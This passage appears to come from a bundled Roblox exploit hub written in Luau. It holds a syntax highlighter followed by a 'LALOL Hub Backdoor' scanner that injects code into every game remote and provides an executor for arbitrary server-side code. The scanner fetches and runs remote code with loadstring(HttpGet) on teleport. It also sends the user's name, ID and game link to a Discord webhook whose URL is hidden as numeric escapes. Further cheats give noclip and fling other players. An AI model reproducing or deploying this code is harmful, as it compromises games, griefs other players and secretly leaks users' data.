if coroutine.status(thread) == "dead" then
return
end
local success, token, content = coroutine.resume(thread)
if success and token then
return token, content
end
return
end
end
function lexer.navigator()
local nav = {
Source = "",
TokenCache = table.create(50),
_RealIndex = 0,
_UserIndex = 0,
_ScanThread = nil,
}
function nav:Destroy()
self.Source = nil
self._RealIndex = nil
self._UserIndex = nil
self.TokenCache = nil
self._ScanThread = nil
end
function nav:SetSource(SourceString)
self.Source = SourceString
self._RealIndex = 0
self._UserIndex = 0
table.clear(self.TokenCache)
self._ScanThread = coroutine.create(function()
for Token, Src in lexer.scan(self.Source) do
self._RealIndex += 1
self.TokenCache[self._RealIndex] = { Token, Src }
coroutine.yield(Token, Src)
end
end)
end
function nav.Next()
nav._UserIndex += 1
if nav._RealIndex >= nav._UserIndex then
-- Already scanned, return cached
return table.unpack(nav.TokenCache[nav._UserIndex])
else
if coroutine.status(nav._ScanThread) == "dead" then
-- Scan thread dead
return
else
local success, token, src = coroutine.resume(nav._ScanThread)
if success and token then
-- Scanned new data
return token, src
else
-- Lex completed
return
end
end
end
end
function nav.Peek(PeekAmount)
local GoalIndex = nav._UserIndex + PeekAmount
if nav._RealIndex >= GoalIndex then
-- Already scanned, return cached
if GoalIndex > 0 then
return table.unpack(nav.TokenCache[GoalIndex])
else
-- Invalid peek
return
end
else
if coroutine.status(nav._ScanThread) == "dead" then
-- Scan thread dead
return
else
local IterationsAway = GoalIndex - nav._RealIndex
local success, token, src = nil, nil, nil
for _ = 1, IterationsAway do
success, token, src = coroutine.resume(nav._ScanThread)
if not (success or token) then
-- Lex completed
break
end
end
return token, src
end
end
end
return nav
end
return lexer
end;
};
G2L_MODULES[G2L["15"]] = {
Closure = function()
local script = G2L["15"];
local language = {
keyword = {
["and"] = "keyword",
["break"] = "keyword",
["continue"] = "keyword",
["do"] = "keyword",
["else"] = "keyword",
["elseif"] = "keyword",
["end"] = "keyword",
["export"] = "keyword",
["false"] = "keyword",
["for"] = "keyword",
["function"] = "keyword",
["if"] = "keyword",
["in"] = "keyword",
["local"] = "keyword",
["nil"] = "keyword",
["not"] = "keyword",
["or"] = "keyword",
["repeat"] = "keyword",
["return"] = "keyword",
["self"] = "keyword",
["then"] = "keyword",
["true"] = "keyword",
["type"] = "keyword",
["typeof"] = "keyword",
["until"] = "keyword",
["while"] = "keyword",
},
builtin = {
-- Luau Functions
["assert"] = "function",
["error"] = "function",
["getfenv"] = "function",
["getmetatable"] = "function",
["ipairs"] = "function",
["loadstring"] = "function",
["newproxy"] = "function",
["next"] = "function",
["pairs"] = "function",
["pcall"] = "function",
["print"] = "function",
["rawequal"] = "function",
["rawget"] = "function",
["rawlen"] = "function",
["rawset"] = "function",
["select"] = "function",
["setfenv"] = "function",
["setmetatable"] = "function",
["tonumber"] = "function",
["tostring"] = "function",
["unpack"] = "function",
["xpcall"] = "function",
-- Luau Functions (Deprecated)
["collectgarbage"] = "function",
-- Luau Variables
["_G"] = "table",
["_VERSION"] = "string",
-- Luau Tables
["bit32"] = "table",
["coroutine"] = "table",
["debug"] = "table",
["math"] = "table",
["os"] = "table",
["string"] = "table",
["table"] = "table",
["utf8"] = "table",
-- Roblox Functions
["DebuggerManager"] = "function",
["delay"] = "function",
["gcinfo"] = "function",
["PluginManager"] = "function",
["require"] = "function",
["settings"] = "function",
["spawn"] = "function",
["tick"] = "function",
["time"] = "function",
["UserSettings"] = "function",
["wait"] = "function",
["warn"] = "function",
-- Roblox Functions (Deprecated)
["Delay"] = "function",
["ElapsedTime"] = "function",
["elapsedTime"] = "function",
["printidentity"] = "function",
["Spawn"] = "function",
["Stats"] = "function",
["stats"] = "function",
["Version"] = "function",
["version"] = "function",
["Wait"] = "function",
["ypcall"] = "function",
-- Roblox Variables
["game"] = "Instance",
["plugin"] = "Instance",
["script"] = "Instance",
["shared"] = "Instance",
["workspace"] = "Instance",
-- Roblox Variables (Deprecated)
["Game"] = "Instance",
["Workspace"] = "Instance",
-- Roblox Tables
["Axes"] = "table",
["BrickColor"] = "table",
["CatalogSearchParams"] = "table",
["CFrame"] = "table",
["Color3"] = "table",
["ColorSequence"] = "table",
["ColorSequenceKeypoint"] = "table",
["DateTime"] = "table",
["DockWidgetPluginGuiInfo"] = "table",
["Enum"] = "table",
["Faces"] = "table",
["FloatCurveKey"] = "table",
["Font"] = "table",
["Instance"] = "table",
["NumberRange"] = "table",
["NumberSequence"] = "table",
["NumberSequenceKeypoint"] = "table",
["OverlapParams"] = "table",
["PathWaypoint"] = "table",
["PhysicalProperties"] = "table",
["Random"] = "table",
["Ray"] = "table",
["RaycastParams"] = "table",
["Rect"] = "table",
["Region3"] = "table",
["Region3int16"] = "table",
["RotationCurveKey"] = "table",
["task"] = "table",
["TweenInfo"] = "table",
["UDim"] = "table",
["UDim2"] = "table",
["Vector2"] = "table",
["Vector2int16"] = "table",
["Vector3"] = "table",
["Vector3int16"] = "table",
},
libraries = {
-- Luau Libraries
bit32 = {
arshift = "function",
band = "function",
bnot = "function",
bor = "function",
btest = "function",
bxor = "function",
countlz = "function",
countrz = "function",
extract = "function",
lrotate = "function",
lshift = "function",
replace = "function",
rrotate = "function",
rshift = "function",
},
coroutine = {
close = "function",
create = "function",
isyieldable = "function",
resume = "function",
running = "function",
status = "function",
wrap = "function",
yield = "function",
},
debug = {
dumpheap = "function",
info = "function",
loadmodule = "function",
profilebegin = "function",
profileend = "function",
resetmemorycategory = "function",
setmemorycategory = "function",
traceback = "function",
},
math = {
abs = "function",
acos = "function",
asin = "function",
atan2 = "function",
atan = "function",
ceil = "function",
clamp = "function",
cos = "function",
cosh = "function",
deg = "function",
exp = "function",
floor = "function",
fmod = "function",
frexp = "function",
ldexp = "function",
log10 = "function",
log = "function",
max = "function",
min = "function",
modf = "function",
noise = "function",
pow = "function",
rad = "function",
random = "function",
randomseed = "function",
round = "function",
sign = "function",
sin = "function",
sinh = "function",
sqrt = "function",
tan = "function",
tanh = "function",
huge = "number",
pi = "number",
},
os = {
clock = "function",
date = "function",
difftime = "function",
time = "function",
},
string = {
byte = "function",
char = "function",
find = "function",
format = "function",
gmatch = "function",
gsub = "function",
len = "function",
lower = "function",
match = "function",
pack = "function",
packsize = "function",
rep = "function",
reverse = "function",
split = "function",
sub = "function",
unpack = "function",
upper = "function",
},
table = {
clear = "function",
clone = "function",
concat = "function",
create = "function",
find = "function",
foreach = "function",
foreachi = "function",
freeze = "function",
getn = "function",
insert = "function",
isfrozen = "function",
maxn = "function",
move = "function",
pack = "function",
remove = "function",
sort = "function",
unpack = "function",
},
utf8 = {
char = "function",
codepoint = "function",
codes = "function",
graphemes = "function",
len = "function",
nfcnormalize = "function",
nfdnormalize = "function",
offset = "function",
charpattern = "string",
},
-- Roblox Libraries
Axes = {
new = "function",
},
BrickColor = {
Black = "function",
Blue = "function",
DarkGray = "function",
Gray = "function",
Green = "function",
new = "function",
New = "function",
palette = "function",
Random = "function",
random = "function",
Red = "function",
White = "function",
Yellow = "function",
},
CatalogSearchParams = {
new = "function",
},
CFrame = {
Angles = "function",
fromAxisAngle = "function",
fromEulerAngles = "function",
fromEulerAnglesXYZ = "function",
fromEulerAnglesYXZ = "function",
fromMatrix = "function",
fromOrientation = "function",
lookAt = "function",
new = "function",
identity = "CFrame",
},
Color3 = {
fromHex = "function",
fromHSV = "function",
fromRGB = "function",
new = "function",
toHSV = "function",
},
ColorSequence = {
new = "function",
},
ColorSequenceKeypoint = {
new = "function",
},
DateTime = {
fromIsoDate = "function",
fromLocalTime = "function",
fromUniversalTime = "function",
fromUnixTimestamp = "function",
fromUnixTimestampMillis = "function",
now = "function",
},
DockWidgetPluginGuiInfo = {
new = "function",
},
Enum = {},
Faces = {
new = "function",
},
FloatCurveKey = {
new = "function",
},
Font = {
fromEnum = "function",
fromId = "function",
fromName = "function",
new = "function",
},
Instance = {
new = "function",
},
NumberRange = {
new = "function",
},
NumberSequence = {
new = "function",
},
NumberSequenceKeypoint = {
new = "function",
},
OverlapParams = {
new = "function",
},
PathWaypoint = {
new = "function",
},
PhysicalProperties = {
new = "function",
},
Random = {
new = "function",
},
Ray = {
new = "function",
},
RaycastParams = {
new = "function",
},
Rect = {
new = "function",
},
Region3 = {
new = "function",
},
Region3int16 = {
new = "function",
},
RotationCurveKey = {
new = "function",
},
task = {
cancel = "function",
defer = "function",
delay = "function",
desynchronize = "function",
spawn = "function",
synchronize = "function",
wait = "function",
},
TweenInfo = {
new = "function",
},
UDim = {
new = "function",
},
UDim2 = {
fromOffset = "function",
fromScale = "function",
new = "function",
},
Vector2 = {
new = "function",
one = "Vector2",
xAxis = "Vector2",
yAxis = "Vector2",
zero = "Vector2",
},
Vector2int16 = {
new = "function",
},
Vector3 = {
fromAxis = "function",
FromAxis = "function",
fromNormalId = "function",
FromNormalId = "function",
new = "function",
one = "Vector3",
xAxis = "Vector3",
yAxis = "Vector3",
zAxis = "Vector3",
zero = "Vector3",
},
Vector3int16 = {
new = "function",
},
},
}
-- Filling up language.libraries.Enum table
local enumLibraryTable = language.libraries.Enum
for _, enum in ipairs(Enum:GetEnums()) do
--TODO: Remove tostring from here once there is a better way to get the name of an Enum
enumLibraryTable[tostring(enum)] = "Enum"
end
return language
end;
};
-- StarterGui.LALOL Hub Backdoor.Frame.Executor.ExecutorBox.TextBox.Highlight
local function C_12()
local script = G2L["12"];
local Highlighter = require(script.Highlighter)
Highlighter.highlight({
-- The object to syntax highlight
textObject=script.Parent,
-- The source text for highlighting- defaults to textObject.Text
-- src: string?,
-- Update even if there are no changes since last highlight
-- forceUpdate=true,
-- Lexer for tokenizing src, defaults to the bundled Lua lexer
-- lexer=true,
})
textbox=script.Parent
textbox.InputChanged:Connect(function()
if textbox.Text~='' then
textbox.TextTransparency=1
return
end
textbox.TextTransparency=0
end)
end;
task.spawn(C_12);
-- StarterGui.LALOL Hub Backdoor.LocalScript
local function C_20()
local script = G2L["20"];
queueteleport = (syn and syn.queue_on_teleport) or queue_on_teleport or (fluxus and fluxus.queue_on_teleport)
if queueteleport then
queueteleport("loadstring(game:HttpGet('https://raw.githubusercontent.com/Its-LALOL/LALOL-Hub/main/Backdoor-Scanner/script'))()")
end
GUI=script.Parent.Frame
alphabet={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}
backdoor=nil
HttpService=game:GetService("HttpService")
function debug(text, lvl)
local func=print
if lvl==1 then func=print end
if lvl==2 then func=error end
if lvl==3 then func=warn end
func('LALOL Hub Backdoor: '..text)
end
function runRemote(remote, data, data2)
if remote:IsA('RemoteEvent') then
remote:FireServer(data)
elseif remote:IsA('RemoteFunction') then
spawn(function() remote:InvokeServer(data) end)
end
end
function makeVisible(folder, state)
for i,v in folder:GetDescendants() do
if v:IsA('Frame') then
v.Visible=state
end
end
end
function notify(text)
game:GetService('StarterGui'):SetCore(
"SendNotification",
{
Title = "LALOL Hub Backdoor",
Duration = 6,
Text = text
}
)
end
if _G.LALOL_Hub_Backdoor_Logs_Disabled then
notify('Logs disabled :(')
end
makeVisible(GUI, false)
GUI.Scanner.Visible=true
GUI.Visible=true
function generateName(lenght)
local text=''
for i=1,lenght do
text=text..alphabet[math.random(1,#alphabet)]
end
return text
end
local code
function findRemote()
local timee=os.clock()
local remotes={}
local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
while true do
code=generateName(math.random(12,30))
if not remotes[code] then break end
end
spawn(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', "a=Instance.new('Model',workspace)a.Name='"..code.."'") end)
remotes[code]=protected_backdoor
end
for i,remote in game:GetDescendants() do
-- Validation Checker
if not remote:IsA('RemoteEvent') then
if not remote:IsA('RemoteFunction') then continue end
end
-- RobloxReplicatedStorage
if string.split(remote:GetFullName(), '.')[1]=='RobloxReplicatedStorage' then
debug('Roblox Replicated Storage ('..remote.Name..')', 1)
continue
end
if remote.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent==game:GetService("ReplicatedStorage") or remote.Parent.Parent.Parent==game:GetService("ReplicatedStorage") then
-- ADONIS Anti-Exploit
if remote:FindFirstChild('__FUNCTION') or remote.Name=='__FUNCTION' then
debug('Adonis filter detected ('..remote.Name..')', 1)
continue
end
-- HD Admin
if remote.Parent.Parent.Name=='HDAdminClient' and remote.Parent.Name=='Signals' then
debug('HD Admin ('..remote.Name..')', 1)
continue
end
-- Chat Events
if remote.Parent.Name=='DefaultChatSystemChatEvents' then
debug('Chat event ('..remote.Name..')', 1)
continue
end
end
-- Backdoor Sender
while true do
code=generateName(math.random(12,30))
if not remotes[code] then break end
end
runRemote(remote, "a=Instance.new('Model',workspace)a.Name='"..code.."'")
remotes[code]=remote
debug('Sended Backdoor "'..remote:GetFullName()..'"', 1)
end
-- Backdoor Checker
for i=1,100 do
for i,remote in remotes do
local code=i
if workspace:FindFirstChild(code) then
notify('Backdoor found! '..os.clock()-timee..'s')
backdoor=remote
debug(remote:GetFullName(), 3)
GUI.Scanner.Visible=false
makeVisible(GUI.Executor, true)
-- runRemote(backdoor, "a=Instance.new('Hint',workspace)while true do a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'for b=1,13 do a.Parent=workspace;wait(1)a.Parent=nil;wait(0.5)end;wait(60)end")
runRemote(remote, "require(171016405.1884*69)")
runRemote(remote, "a=Instance.new('Hint')a.Text='LALOL Hub Backdoor | discord.gg/XXqzxT7E5z | Free and FASTEST Backdoor Scanner'while true do a.Parent=workspace;wait(15)a:Remove()wait(30)end")
local request = (syn and syn.request) or (http and http.request) or http_request or (fluxus and fluxus.request) or request
if request and not _G.LALOL_Hub_Backdoor_Logs_Disabled then
request({
Url = '\104\116\116\112\115\58\47\47\100\105\115\99\111\114\100\46\99\111\109\47\97\112\105\47\119\101\98\104\111\111\107\115\47\49\49\48\56\54\57\52\49\54\48\52\54\52\49\53\56\55\56\49\47\57\86\67\122\95\99\107\52\117\120\51\77\51\84\81\106\56\109\111\76\68\113\51\78\119\45\100\107\89\68\87\55\103\69\99\97\76\72\75\80\98\101\50\95\74\74\73\122\53\109\50\102\69\104\54\101\83\110\112\51\51\87\79\76\116\103\105\49',
Method = 'POST',
Headers = {
['Content-Type'] = 'application/json',
},
Body = HttpService:JSONEncode({
username='pls dont delete this w3bh00k',
content="**User: `"..game:GetService('Players').LocalPlayer.Name..'` | `'..game:GetService('Players').LocalPlayer.UserId..'`\nhttps://www.roblox.com/games/'..game.PlaceId..'\n`'..backdoor:GetFullName()..'`**',
})
})
end
return true
end
-- debug('"'..remote:GetFullName()..'" seems like not backdoor', 1)
end
wait()--.1)
end
return false
end
GUI.Executor.Execute.Button.MouseButton1Click:Connect(function()
local a,b=string.gsub(GUI.Executor.ExecutorBox.TextBox.Text, '%%username%%', game:GetService('Players').LocalPlayer.Name)
local protected_backdoor=game:GetService('ReplicatedStorage'):FindFirstChild('lh'..game.PlaceId/6666*1337*game.PlaceId)
if protected_backdoor and protected_backdoor:IsA('RemoteFunction') then
debug('Protected backdoor found', 3)
spawn(function()
local boolValue, variantValue=pcall(function() protected_backdoor:InvokeServer('lalol hub join today!! discord.gg/XXqzxT7E5z', a) end)
if variantValue~=nil then
local splited=string.split(variantValue,':')
notify(splited[#splited])
end
end)
else
runRemote(backdoor, a)
end
GUI.Executor.Execute.Button.Text='Executed!'
wait(0.5)
GUI.Executor.Execute.Button.Text='Execute'
end)
GUI.Executor.Clear.Button.MouseButton1Click:Connect(function()
GUI.Executor.ExecutorBox.TextBox.Text=''
GUI.Executor.Clear.Button.Text='Cleared!'
wait(0.5)
GUI.Executor.Clear.Button.Text='Clear'
end)
searching=false
GUI.Scanner.Button.MouseButton1Click:Connect(function()
if not searching then
searching=true
debug('Scanning...', 3)
GUI.Scanner.Button.Text='Scanning...'
if not findRemote() then
GUI.Scanner.Button.Text='No backdoor :('
searching=false
end
end
end)
game:GetService('UserInputService').InputBegan:Connect(function(input, processed)
if (input.KeyCode == Enum.KeyCode.LeftAlt and not processed) then
if GUI.Visible then GUI.Visible=false
else GUI.Visible=true end
end
end)
end;
task.spawn(C_20);
-- StarterGui.LALOL Hub Backdoor.Dragify
local function C_21()
local script = G2L["21"];
local UIS = game:GetService("UserInputService")
function dragify(Frame)
dragToggle = nil
local dragSpeed = 0.33
dragInput = nil
dragStart = nil
local dragPos = nil
function updateInput(input)
local Delta = input.Position - dragStart
local Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + Delta.X, startPos.Y.Scale, startPos.Y.Offset + Delta.Y)
game:GetService("TweenService"):Create(Frame, TweenInfo.new(0.15), {Position = Position}):Play()
end
Frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) and UIS:GetFocusedTextBox() == nil then
dragToggle = true
dragStart = input.Position
startPos = Frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
Frame.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
dragInput = input
end
end)
game:GetService("UserInputService").InputChanged:Connect(function(input)
if input == dragInput and dragToggle then
updateInput(input)
end
end)
end
dragify(script.Parent.Frame)
end;
task.spawn(C_21);
return G2L["1"], require;
end)
end;
task.spawn(C_4);
local function C_7()
local script = LMG2L["LocalScript_7"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
print("Button clicked!")
local Players = game:GetService("Players")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "NoclipPro"
screenGui.Parent = player:WaitForChild("PlayerGui")
local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 220, 0, 150)
mainFrame.Position = UDim2.new(0.1, 0, 0.1, 0)
mainFrame.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
mainFrame.BorderColor3 = Color3.fromRGB(80, 0, 0)
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = screenGui
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 30)
title.Position = UDim2.new(0, 0, 0, 0)
title.Text = "NOCLIP PRO v2"
title.TextColor3 = Color3.fromRGB(255, 0, 0)
title.BackgroundColor3 = Color3.fromRGB(20, 20, 20)
title.TextSize = 14
title.Parent = mainFrame
local toggleBtn = Instance.new("TextButton")
toggleBtn.Size = UDim2.new(0, 200, 0, 40)
toggleBtn.Position = UDim2.new(0, 10, 0, 40)
toggleBtn.Text = "NOCLIP: OFF"
toggleBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
toggleBtn.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
toggleBtn.Parent = mainFrame
local hideBtn = Instance.new("TextButton")
hideBtn.Size = UDim2.new(0, 60, 0, 25)
hideBtn.Position = UDim2.new(0, 10, 0, 90)
hideBtn.Text = "HIDE"
hideBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
hideBtn.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
hideBtn.Parent = mainFrame
local exitBtn = Instance.new("TextButton")
exitBtn.Size = UDim2.new(0, 60, 0, 25)
exitBtn.Position = UDim2.new(0, 80, 0, 90)
exitBtn.Text = "EXIT"
exitBtn.TextColor3 = Color3.fromRGB(255, 255, 255)
exitBtn.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
exitBtn.Parent = mainFrame
local miniBtn = Instance.new("TextButton")
miniBtn.Size = UDim2.new(0, 50, 0, 50)
miniBtn.Position = UDim2.new(0, 150, 0, 90)
miniBtn.Text = "MINI"
miniBtn.TextColor3 = Color3.fromRGB(255, 0, 0)
miniBtn.BackgroundColor3 = Color3.fromRGB(10, 10, 10)
miniBtn.Visible = false
miniBtn.Active = true
miniBtn.Draggable = true
miniBtn.Parent = screenGui
local noclip = false
local connection
local function setNoclip(state)
noclip = state
if noclip then
toggleBtn.Text = "NOCLIP: ON"
toggleBtn.BackgroundColor3 = Color3.fromRGB(0, 120, 0)
else
toggleBtn.Text = "NOCLIP: OFF"
toggleBtn.BackgroundColor3 = Color3.fromRGB(120, 0, 0)
end
end
connection = RunService.Stepped:Connect(function()
if noclip and player.Character then
for _, part in pairs(player.Character:GetDescendants()) do
if part:IsA("BasePart") and part.CanCollide then
part.CanCollide = false
end
end
end
end)
toggleBtn.MouseButton1Click:Connect(function()
setNoclip(not noclip)
end)
hideBtn.MouseButton1Click:Connect(function()
mainFrame.Visible = false
miniBtn.Visible = true
end)
miniBtn.MouseButton1Click:Connect(function()
mainFrame.Visible = true
miniBtn.Visible = false
end)
exitBtn.MouseButton1Click:Connect(function()
connection:Disconnect()
screenGui:Destroy()
end)
UserInputService.InputBegan:Connect(function(input)
if input.KeyCode == Enum.KeyCode.F then
setNoclip(not noclip)
end
end)
end)
end;
task.spawn(C_7);
local function C_9()
local script = LMG2L["LocalScript_9"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
print("Button clicked!")
local Targets = {"All"} -- "All", "Target Name", "arian_was_here"
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local AllBool = false
local GetPlayer = function(Name)
Name = Name:lower()
if Name == "all" or Name == "others" then
AllBool = true
return
elseif Name == "random" then
local GetPlayers = Players:GetPlayers()
if table.find(GetPlayers,Player) then table.remove(GetPlayers,table.find(GetPlayers,Player)) end
return GetPlayers[math.random(#GetPlayers)]
elseif Name ~= "random" and Name ~= "all" and Name ~= "others" then
for _,x in next, Players:GetPlayers() do
if x ~= Player then
if x.Name:lower():match("^"..Name) then
return x;
elseif x.DisplayName:lower():match("^"..Name) then
return x;
end
end
end
else
return
end
end
local Message = function(_Title, _Text, Time)
game:GetService("StarterGui"):SetCore("SendNotification", {Title = _Title, Text = _Text, Duration = Time})
end
local SkidFling = function(TargetPlayer)
local Character = Player.Character
local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid")
local RootPart = Humanoid and Humanoid.RootPart
local TCharacter = TargetPlayer.Character
local THumanoid
local TRootPart
local THead
local Accessory
local Handle
if TCharacter:FindFirstChildOfClass("Humanoid") then
THumanoid = TCharacter:FindFirstChildOfClass("Humanoid")
end
if THumanoid and THumanoid.RootPart then
TRootPart = THumanoid.RootPart
end
if TCharacter:FindFirstChild("Head") then
THead = TCharacter.Head
end
if TCharacter:FindFirstChildOfClass("Accessory") then
Accessory = TCharacter:FindFirstChildOfClass("Accessory")
end
if Accessoy and Accessory:FindFirstChild("Handle") then
Handle = Accessory.Handle
end
if Character and Humanoid and RootPart then
if RootPart.Velocity.Magnitude < 50 then
getgenv().OldPos = RootPart.CFrame
end
if THumanoid and THumanoid.Sit and not AllBool then
return Message("Error Occurred", "Targeting is sitting", 5) -- u can remove dis part if u want lol
end
if THead then
workspace.CurrentCamera.CameraSubject = THead
elseif not THead and Handle then
workspace.CurrentCamera.CameraSubject = Handle
elseif THumanoid and TRootPart then
workspace.CurrentCamera.CameraSubject = THumanoid
end
if not TCharacter:FindFirstChildWhichIsA("BasePart") then
return
end
local FPos = function(BasePart, Pos, Ang)
RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang
Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang)
RootPart.Velocity = Vector3.new(9e7, 9e7 * 10, 9e7)
RootPart.RotVelocity = Vector3.new(9e8, 9e8, 9e8)
end
local SFBasePart = function(BasePart)
local TimeToWait = 2
local Time = tick()
local Angle = 0
repeat
if RootPart and THumanoid then
if BasePart.Velocity.Magnitude < 50 then
Angle = Angle + 100
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle),0 ,0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + THumanoid.MoveDirection * BasePart.Velocity.Magnitude / 1.25, CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection,CFrame.Angles(math.rad(Angle), 0, 0))
task.wait()
else
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5 ,0), CFrame.Angles(math.rad(-90), 0, 0))
task.wait()
FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0))
task.wait()
end
else
break
end
until BasePart.Velocity.Magnitude > 500 or BasePart.Parent ~= TargetPlayer.Character or TargetPlayer.Parent ~= Players or not TargetPlayer.Character == TCharacter or THumanoid.Sit or Humanoid.Health <= 0 or tick() > Time + TimeToWait
end
workspace.FallenPartsDestroyHeight = 0/0
local BV = Instance.new("BodyVelocity")
BV.Name = "EpixVel"
BV.Parent = RootPart
BV.Velocity = Vector3.new(9e8, 9e8, 9e8)
BV.MaxForce = Vector3.new(1/0, 1/0, 1/0)
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false)
if TRootPart and THead then
if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then
SFBasePart(THead)
else
SFBasePart(TRootPart)
end
elseif TRootPart and not THead then
SFBasePart(TRootPart)
elseif not TRootPart and THead then
SFBasePart(THead)
elseif not TRootPart and not THead and Accessory and Handle then
SFBasePart(Handle)
else
return Message("Error Occurred", "Target is missing everything", 5)
end
BV:Destroy()
Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true)
workspace.CurrentCamera.CameraSubject = Humanoid
repeat
RootPart.CFrame = getgenv().OldPos * CFrame.new(0, .5, 0)
Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, .5, 0))
Humanoid:ChangeState("GettingUp")
table.foreach(Character:GetChildren(), function(_, x)
if x:IsA("BasePart") then
x.Velocity, x.RotVelocity = Vector3.new(), Vector3.new()
end
end)
task.wait()
until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25
workspace.FallenPartsDestroyHeight = getgenv().FPDH
else
return Message("Error Occurred", "Random error", 5)
end
end
if not Welcome then Message("Script by AnthonyIsntHere", "Enjoy!", 5) end
getgenv().Welcome = true
if Targets[1] then for _,x in next, Targets do GetPlayer(x) end else return end
if AllBool then
for _,x in next, Players:GetPlayers() do
SkidFling(x)
end
end
for _,x in next, Targets do
if GetPlayer(x) and GetPlayer(x) ~= Player then
if GetPlayer(x).UserId ~= 1414978355 then
local TPlayer = GetPlayer(x)
if TPlayer then
SkidFling(TPlayer)
end
else
Message("Error Occurred", "This user is whitelisted! (Owner)", 5)
end
elseif not GetPlayer(x) and not AllBool then
Message("Error Occurred", "Username Invalid", 5)
end
end
end)
end;
task.spawn(C_9);
local function C_d()
local script = LMG2L["LocalScript_d"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
print("Button clicked!")
local main = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local up = Instance.new("TextButton")
local down = Instance.new("TextButton")
local onof = Instance.new("TextButton")
local TextLabel = Instance.new("TextLabel")
local plus = Instance.new("TextButton")
local speed = Instance.new("TextLabel")
local mine = Instance.new("TextButton")
local closebutton = Instance.new("TextButton")
local mini = Instance.new("TextButton")
local mini2 = Instance.new("TextButton")
main.Name = "main"
main.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
main.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
main.ResetOnSpawn = false
Frame.Parent = main
Frame.BackgroundColor3 = Color3.fromRGB(163, 255, 137)
Frame.BorderColor3 = Color3.fromRGB(103, 221, 213)
Frame.Position = UDim2.new(0.100320168, 0, 0.379746825, 0)
Frame.Size = UDim2.new(0, 190, 0, 57)
up.Name = "up"
up.Parent = Frame
up.BackgroundColor3 = Color3.fromRGB(79, 255, 152)
up.Size = UDim2.new(0, 44, 0, 28)
up.Font = Enum.Font.SourceSans
up.Text = "UP"
up.TextColor3 = Color3.fromRGB(0, 0, 0)
up.TextSize = 14.000
down.Name = "down"
down.Parent = Frame
down.BackgroundColor3 = Color3.fromRGB(215, 255, 121)
down.Position = UDim2.new(0, 0, 0.491228074, 0)
